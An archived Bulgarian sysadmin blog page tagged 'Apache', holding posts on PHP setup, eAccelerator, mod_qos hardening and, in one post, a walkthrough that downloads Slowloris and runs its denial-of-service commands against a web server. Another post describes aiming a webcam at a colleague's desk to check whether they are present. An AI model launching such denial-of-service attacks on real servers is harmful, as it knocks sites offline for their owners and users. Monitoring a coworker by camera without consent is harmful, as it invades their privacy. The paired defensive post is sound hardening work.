Архив

Статии по ключова дума: ‘Apache’

Параноя ме тресе- Камера която да следи лице X или да ви пази гърба

25 август, 2010 1 коментар

Днес докато си стоях и си мислих как да реша един въпрос ми изникна доста интересно решение. О задачата е да знам във всеки един момент един колега дали си е на работното място. Т.е. искам да знам СЕГА дали е там или не е. Мислих как най- добре да стане това и определено смятам, че реших въпроса. Ще използвам уеб камера. На една машина срещу неговото работно място поставих камера + някакъв уеб сървър(apache) която камера постоянно го наблюдава. При необходимост да видя дали е на работното си място веднага мога да проверява.

Това също е подходящо ако желаете да виждате какво става зад  гърба си без да се обръщате :) . Решението е супер просто и страхотно полезно.

Техническите решения които мога да предложа са:
1. GNU/Linux  -- Stream на камерата със VLC + apache (може и без)
2. Windows- Sascam  Web Cam Server

PS: Всички приложения са напълно свободни и безплатни за ползване.

Използване на оторизация при file_get_contents()

19 май, 2010 2 коментари

Понеже не видя ясно обяснено решението за използване на оторизация при file_get_contents() реших да напиша тази публикация. Решението както винаги е супер "сложно" :)

Проблемът е, че когато при защитена директория от Apache с user и pass искате да ползвате file_get_contents той няма да направи това което очаквате. Т.е. ще ви изведе грешка:

<b>Warning</b>:  file_get_contents(http://example.com/test.php) [<a href="function.file-get-contents">function.file-get-contents</a>]: failed to open stream: HTTP request failed! HTTP/1.1 401 Authorization Required

Това се дължи на факта, че изпълнението на file_get_contents преминава през оторизиращата частица и ако не се зададат user и pass като аргументи няма да извърши очакваното. Стига приказки, че написах повече обяснения от колкото е голямо "решението":

$auth = stream_context_create(array( 'http' => array('header'  => "Authorization: Basic " . base64_encode("USERNAME:PASSWORD"))));

print file_get_contents("http://example.com/test.php",false,$auth);

Това е всичко :)

Как да защитим Apache от счупване причинено от Slowloris

1 февруари, 2010 7 коментари

В предната публикация (Как да счупим Apache със Slowloris) обясних какво е Slowloris , за какво се ползва и  как работи т.е. как се чупи Apache с него. Както е всеизвестно най- лесно е да се счупи нещо(като се ползва готов инструмент разбира се), но също интересно е и да имаме добри превантимни мерки.

За защита на Apache от Slowloris и други подобни DoS атаки ще използваме един сравнително млад модул за Apache: qos (http://sourceforge.net/projects/mod-qos/) .

mod_qos е quality of service(QOS) модул за Apache. Той изпълнява механизми за контрол които могат да предоставят различни приоритети на различните заявки и да контролира достъпа до сървъра на базата на наличните ресурси

1. Ще инсталираме необходимите ни пакети за компилацията
apt-get install apache2-threaded-dev gcc

2. Изтегляме qos модула
cd /tmp/
wget http://freefr.dl.sourceforge.net/project/mod-qos/mod-qos/9.7/mod_qos-9.7.tar.gz

3. Ще го разархивираме и компилираме
tar zxvf mod_qos-9.7.tar.gz
cd mod_qos-9.7/apache2/
apxs2 -i -c mod_qos.c

Става ясно, че се е инсталирал във "/usr/lib/apache2/modules"

4. Сега ще направим конфигурация на модула
cd /etc/apache2/mods-available/
vim qos.load

LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so

vim qos.conf

## QoS Settings
<IfModule mod_qos.c>
# handles connections from up to 100000 different IPs
QS_ClientEntries 100000
# will allow only 50 connections per IP
QS_SrvMaxConnPerIP 50
# maximum number of active TCP connections is limited to 256
MaxClients              256
# disables keep-alive when 70% of the TCP connections are occupied:
QS_SrvMaxConnClose      180
# minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):
QS_SrvMinDataRate       150 1200
# and limit request header and body (carefull, that limits uploads and post requests too):
# LimitRequestFields      30
# QS_LimitRequestBody     102400
</IfModule>

5. Сега зареждаме qos модула и рестартираме apache:

a2enmod qos
/etc/init.d/apache2 restart

Сега системата ни е защитена от Slowloris. За целта от предния урок може да тествате да я атакувате и ще се съгласите.

PS: Надявам се, че ще има благодарни адмнистратори които са го пропуснали в близките 6-7 месеца :( случва се на всеки затова го правя, за да се информираме взаимно)

Как да счупим Apache със Slowloris

1 февруари, 2010 Няма коментари

За целта ще използваме httpd DoS тулка популярна от средата на 2009 година, написана от RSnake от ha.ckers или т.н. Slowloris

Как Slowloris претоварва Apache ?

Slowloris прави много конекции и ги задържа отворени като изпраща части от HTTP заявки. Slowloris продължава да изпраща хедъри на интервали за да предпази сокетите от затваряне.

Преди да счупим Apache ще изтеглим Slowloris от http://ha.ckers.org/slowloris/ или по- точно от тук:

wget http://ha.ckers.org/slowloris/slowloris.pl

След това трябва да инсталираме необходими модули за Perl:

perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'

или по- друг метод:

apt-get install libio-all-perl libio-socket-ssl-perl

След като инсталирахме модулите за perl трябва да инсталираме и perl-doc за да можем да разгледаме help страницата на Slowloris:

apt-get install perl-doc

Сега вече можем да стартираме Slowloris:

perl slowloris.pl

Извежда ни се първоначална инфо:

Welcome to Slowloris -- the low bandwidth, yet greedy and poisonous HTTP client

Usage:

perl slowloris.pl -dns [www.example.com] -options

Type 'perldoc slowloris.pl' for help with options.

Ето я и помощната страница:

perldoc slowloris.pl

TITLE
Slowloris

VERSION
Version 0.7 Beta

DATE
06/17/2009

AUTHOR
RSnake <h@ckers.org> with threading from John Kinsella

ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ulti‐
mately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any
time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target
server, so other vital processes don’t die unexpectedly, or cause alarm to anyone who is logged into the server for other rea‐
sons.

AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others…?

NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others…?

DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you
can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it’s threads as they
patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate
for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts
as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don’t have a need to start shutting
down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circum‐
stances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won’t give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must
know the exact number, you may want to mess with the @times array (although I wouldn’t suggest that unless you know what you’re
doing).

HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server
has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and
increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend
to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster
you will consume all the available resources as other sockets that are in use become available -- this would be solved by thread‐
ing, but that’s for a future revision.  The closer you can get to the exact number of sockets, the better, because that will
reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to iden‐
tify if it’s successful or not though.

HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET
or HEAD request with the -httpready switch.

HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host
using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are
kept separately.

Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not
been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the
early phases of development.  Your mileage may vary.

HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the
request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of
this particular option has not been thoroughly tested.  Your mileage may vary.

HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it’s
current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load
balancers won’t be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn’t completely quiet either, because it can’t be.  Firstly, it does send out quite a few packets (although far far
less than a typical GET request flooder).  So it’s not invisible if the traffic to the site is typically fairly low.  On higher
traffic sites it will unlikely that it is noticed in the log files -- although you may have trouble taking down a larger site with
just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it’s probably to do with
the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you
can’t open any more ports than ~130 or so on any server you test -- you’re probably running into this "feature" of modern operat‐
ing systems.  Either way, this program seems to work best if run from FreeBSD.

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or
proxy server will write to it’s logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won’t be in
the logs, but once the sockets close you’ll have quite a few entries all lined up next to one another.  You will probably be easy
to find if anyone is looking at their logs at that point -- although the DoS will be over by that point too.

What is a slow loris?
What exactly is a slow loris?  It’s an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4

След като сме запознати с помощната страница ще направим един прост пример за чупене на Apache със Slowloris:

perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

След известно време забелязваме, че Apache не отговаря- Той е счупен :)

Жертвата не вижда превишаване на ползваемостта на CPU от apache, не вижда и нищо в access лога, но ако пусне един tcpdump ще разбере за какво иде реч(tcpdump -i eth0 -vvvn dst port 80)

В следващата публикация  ще обясня как да се защитим от Slowloris- Как да защитим Apache от счупване причинено от Slowloris

php грешка: undefined function imagecreatefromgif

14 януари, 2010 1 коментар

Това е публикация за начинаещи web php разработчици :) (web и php , че и разработчик) :)
Пускате готов скрипт които вероятно не сте писали и ви излиза тази грешка:

Fatal error Call to undefined function imagecreatefromgif()

Отговорът на тази грешка е, че няма gd support за обработване на изображения. За целта го инсталираме(в случая deb базирано дистро):
apt-get install php5-gd

След това рестартираме apache:

/etc/init.d/apache2 restart

След това phpinfo() и виждате, че вътре вече има GD. Ето снимка:

Сега вече изпълнявате отново скритпа които даваше грешка и виждате, (че ви излиза друга грешка. Трябва да прочетете повече, шегувам се) че всичко е наред.

Инсталиране на eAccelerator

5 ноември, 2009 Няма коментари

От както преди няколко години за първи ползвах eAccelerator и останах удивлен от ускорението което предоставя съм решил да го слагам на повечето машини с apache2. Днес ми се наложи да го сложа на още една машина и реших за бъдещото поколение български администраторчета как да се инсталира eAccelerator. За администраторчетата под FreeBSD преди време бях писал пак едно кратко ръководство много подобно на това-> Инсталиране на EAccelerator за Apache 2.x ( 2.2.8 ) и FreeBSD 7.0

wget http://bart.eaccelerator.net/source/0.9.5.3/eaccelerator-0.9.5.3.tar.bz2
tar xvfj eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure
make
make install

Edit file: /usr/local/Zend/etc/php.ini

; Eaccelerator added by amri Sun Oct 12 21:13:14 UTC 2006
extension="eaccelerator.so"
eaccelerator.shm_size="64"
eaccelerator.cache_dir="/tmp/eaccelerator"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="9"
;eaccelerator.keys     = "shm_and_disk"
;eaccelerator.sessions = "shm_and_disk"
;eaccelerator.content  = "shm_and_disk"

Проблеми които могат да ви възникнат при конфигурирането

./configure: line 3580: php-config: command not found
./configure: line 3581: php-config: command not found
configure: error: Cannot find php-config. Please use --with-php-config=PATH

Решение: apt-get install php5-dev

Компилиране и инсталиране на PHP 5.3 на Debian Lenny

21 октомври, 2009 Няма коментари

Не е необходимо системата да бъде Debian Lenny просто тази в момента е такава(както и да е). Освен, че системата е на Debian Lenny, apache- 2.2 и mysql 5.1 . Преминавам по същество как да инсталираме php  5.3 :) :

Според моите изисквания отностно конфигурацията на PHP споделям следните options:

./configure --prefix=/usr --with-apxs2=/usr/sbin/apxs \
--with-mysql=/usr/local/mysql51/ \
--with-tidy=/usr \
--with-curl=/usr/bin \
--with-curlwrappers \
--with-openssl-dir=/usr \
--with-zlib-dir=/usr \
--with-xpm-dir=/usr \
--with-pdo-mysql=/usr \
--with-xsl=/usr \
--with-ldap \
--with-xmlrpc \
--with-iconv-dir=/usr \
--with-bz2=/usr \
--with-mcrypt=/usr \
--with-gd \
--with-jpeg-dir=/usr \
--with-png-dir=/usr \
--with-zlib-dir=/usr \
--with-freetype-dir=/usr \
--with-pear \
--with-imap \
--with-kerberos \
--with-imap-ssl \
--with-libedit \
-enable-exif \
-enable-mbstring \
-enable-calendar \
-enable-zip

При конфигурирането излязоха следните грешки, но хубавото, че това не са грешки, а зависимости които трябва да бъдат спазени. Следващото хубаво нещо е, че по- долу не само ще изброя зависимостите, а и как да бъдат изпълнени правилно:

Проблем: configure: error: xml2-config not found. Please check your libxml2 installation.
Решение: apt-get install libxml2-dev

Проблем: configure: warning: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers.
Решение: apt-get install re2c

Проблем: configure: error: Please reinstall the BZip2 distribution
Решение: apt-get install libbz2-dev

Проблем: configure: error: Please reinstall the libcurl distribution -- easy.h should be in <curl-dir>/include/curl/
Решение: Инсталиране на Curl от тук

Проблем: configure: error: libjpeg.(a|so) not found.
Решение: apt-get install libjpeg62-dev

Проблем: configure: error: libpng.(a|so) not found.
Решение: apt-get install libpng12-dev

Проблем: configure: error: libXpm.(a|so) not found.
Решение: apt-get install libxpm-dev

Проблем: configure: error: freetype.h not found.
Решение: apt-get install libfreetype6-dev

Проблем: configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.
Решение: apt-get install libc-client-dev

Проблем: configure: error: Cannot find ldap.h
Решение: apt-get install libldap2-dev

Проблем: configure: error: mcrypt.h not found. Please reinstall libmcrypt.
Решение: apt-get install libmcrypt-dev

Проблем: configure: error: edit library required by readline not found
Решение: apt-get install libedit-dev

Проблем: configure: error: SNMP sanity check failed. Please check config.log for more information.
Решение: apt-get install libsnmp-dev

Проблем: configure: error: Cannot find libtidy
Решение: apt-get install libtidy-dev

Проблем: configure: error: xslt-config not found. Please reinstall the libxslt >= 1.1.0 distribution
Решение: apt-get install libxslt1-dev

Проблем: checking for mcrypt support… yes
configure: error: mcrypt.h not found. Please reinstall libmcrypt.
Решение: apt-get install libmcrypt-dev

След това се изпълнява:

make && make install

Препоръчително е да изпълните преди "make install" "make test"

Voila: Thank you for using PHP.

Необходимо е да активирате php5 модула в Apache 2.2 по- следния метод:

a2enmod php5
Enabling module php5.
Run '/etc/init.d/apache2 restart' to activate new configuration!

/etc/init.d/apache2 restart

За малко да забравим да копираме php.ini в неговата директория :)

cp /tmp/php-5.3.0/php.ini-production /usr/lib/php.ini

Сега ще сетнем и подразбираща времева зона:

[Date]
; Defines the default timezone used by the date functions
; http://php.net/date.timezone
date.timezone =Europe/Sofia

Идеята е, че ако времевата зона на машината не е сетната правилно и от PHP извикате функция Date() ше ви изведе следната грешка:

Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Sofia' for 'EEST/3.0/DST' instead in /var/www/test1.php on line 2
2009-10-21

Рестартираме (не reload, а restart !) Apache2 за да влязат новите промени в действие.

Това е всичко. Вече имате последна стабилна версия на PHP 5.3

Други проблеми:

Проблем: Зареждате модула php и всичко се очаква да е наред, но Apache все още не php файловете не се изпълняват.
Решение: Трябва да се добави в конф. файл как да се употребяват *.php файловете /etc/apache2/httpd.conf :

<IfModule mime_module>
AddType application/x-httpd-php .php .phtml .php3
AddType application/x-httpd-php-source .phps

</IfModule>

Проблем: При php.ini с таговете определящи вашия php код.
Решение натиснете ТУК

PS: Много внимавайте при конфигурацията на PHP с използването на -enable , --with . Забележете, че "enable" е с една чертичка отпред, а "with" с две черти. Ако напишете "--enable" (enable с две чертички) то това ще ви донесе неприятности в къщи :)

<IfModule mime_module>
AddType application/x-httpd-php .php .phtml .php3
AddType application/x-httpd-php-source .phps
</IfModule>
Categories: sadmin Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Забиване на статичен енкодинг

12 октомври, 2009 Няма коментари

Случвало ли ви се е да искате да забиете енкодинг за цял уеб сайт от Apache, а не от самите страници. Има много варианти за това, но аз ще предложа htaccess.
Във .htaccess добавяме следния ред:

AddCharset cp1251 .html

С този ред казваме, че всички .html файлове ще бъдат изпълнени със Charset Windows-1251 или cp-1251.

Бърза статия за инсталиране на apache + ssl + htaccess оторизация под Debian

10 октомври, 2009 Няма коментари

Днес на бързо написах една статия за Инсталиране на Apache 2 + SSL + htaccess auth под Дебиан. Идеята на статията е да спести време на всеки. Статията може да бъде открита ето тук:
Инсталиране на Apache2 под Debian- Lenny. Активиране на SSL и основна оторизация.

Потребител на всеки виртуален хост в Apache

3 октомври, 2009 Няма коментари

Написах една статия за това как всеки виртуален хост в Apache да работи със собствен потребител чрез модула mpm-itk . Идеята е, че може да имате лесен мониторинг и съответно да ограничавате лесно тези домейни/потребителски имена. Всичко това звучи толкова интересно, а на практика е толкова лесно :) . Все пак ето тук може да научите как може да го реализирате и на практика:

Отделен потребител на всеки виртуален хост в Apache чрез mpm-itk